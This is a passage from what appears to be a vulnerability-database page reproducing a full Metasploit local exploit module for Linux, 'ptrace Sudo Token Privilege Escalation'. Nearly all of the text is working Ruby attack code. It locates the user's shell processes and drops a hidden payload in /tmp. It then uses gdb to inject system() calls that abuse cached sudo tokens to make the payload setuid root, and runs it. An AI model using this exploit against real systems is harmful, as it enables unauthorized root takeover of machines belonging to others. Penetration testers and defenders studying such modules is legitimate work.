ptrace Sudo Token Privilege Escalation

2019.09.03
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Kernel include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ptrace Sudo Token Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges by blindly injecting into the session user's running shell processes and executing commands by calling `system()`, in the hope that the process has valid cached sudo tokens with root privileges. The system must have gdb installed and permit ptrace. This module has been tested successfully on: Debian 9.8 (x64); and CentOS 7.4.1708 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'chaignc', # sudo_inject 'bcoles' # Metasploit ], 'DisclosureDate' => '2019-03-24', 'References' => [ ['EDB', '46989'], ['URL', 'https://github.com/nongiach/sudo_inject'], ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'], ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'], ['URL', 'https://lwn.net/Articles/393012/'], ['URL', 'https://lwn.net/Articles/492667/'], ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'], ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html'] ], 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultOptions' => { 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependFork' => true, 'WfsDelay' => 30 }, 'DefaultTarget' => 0)) register_options [ OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def timeout datastore['TIMEOUT'] end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def check if yama_enabled? vprint_error 'YAMA ptrace scope is restrictive' return CheckCode::Safe end vprint_good 'YAMA ptrace scope is not restrictive' if command_exists? '/usr/sbin/getsebool' if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true' vprint_error 'SELinux deny_ptrace is enabled' return CheckCode::Safe end vprint_good 'SELinux deny_ptrace is disabled' end unless command_exists? 'sudo' vprint_error 'sudo is not installed' return CheckCode::Safe end vprint_good 'sudo is installed' unless command_exists? 'gdb' vprint_error 'gdb is not installed' return CheckCode::Safe end vprint_good 'gdb is installed' CheckCode::Detected end def exploit unless check == CheckCode::Detected unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end if nosuid? base_dir fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid" end # Find running shell processes shells = %w[ash ksh csh dash bash zsh tcsh fish sh] system_shells = read_file('/etc/shells').to_s.each_line.map {|line| line.strip }.reject {|line| line.starts_with?('#') }.each {|line| shells << line.split('/').last } shells = shells.uniq.reject {|shell| shell.blank?} print_status 'Searching for shell processes ...' pids = [] if command_exists? 'pgrep' cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid| pids << pid.strip end else shells.each do |s| pidof(s).each {|p| pids << p.strip} end end if pids.empty? fail_with Failure::Unknown, 'Found no running shell processes' end print_status "Found #{pids.uniq.length} running shell processes" vprint_status pids.join(', ') # Upload payload @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}" upload @payload_path, generate_payload_exe # Blindly call system() in each shell process pids.each do |pid| print_status "Injecting into process #{pid} ..." cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1" sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1" res = cmd_exec sudo_inject, nil, timeout vprint_line res unless res.blank? next unless setuid? @payload_path print_good "#{@payload_path} setuid root successfully" print_status 'Executing payload...' res = cmd_exec "#{@payload_path} & echo " vprint_line res return end fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.' end def on_new_session(session) if session.type.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.fs.file.rm @payload_path else session.shell_command_token "rm -f '#{@payload_path}'" end ensure super end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top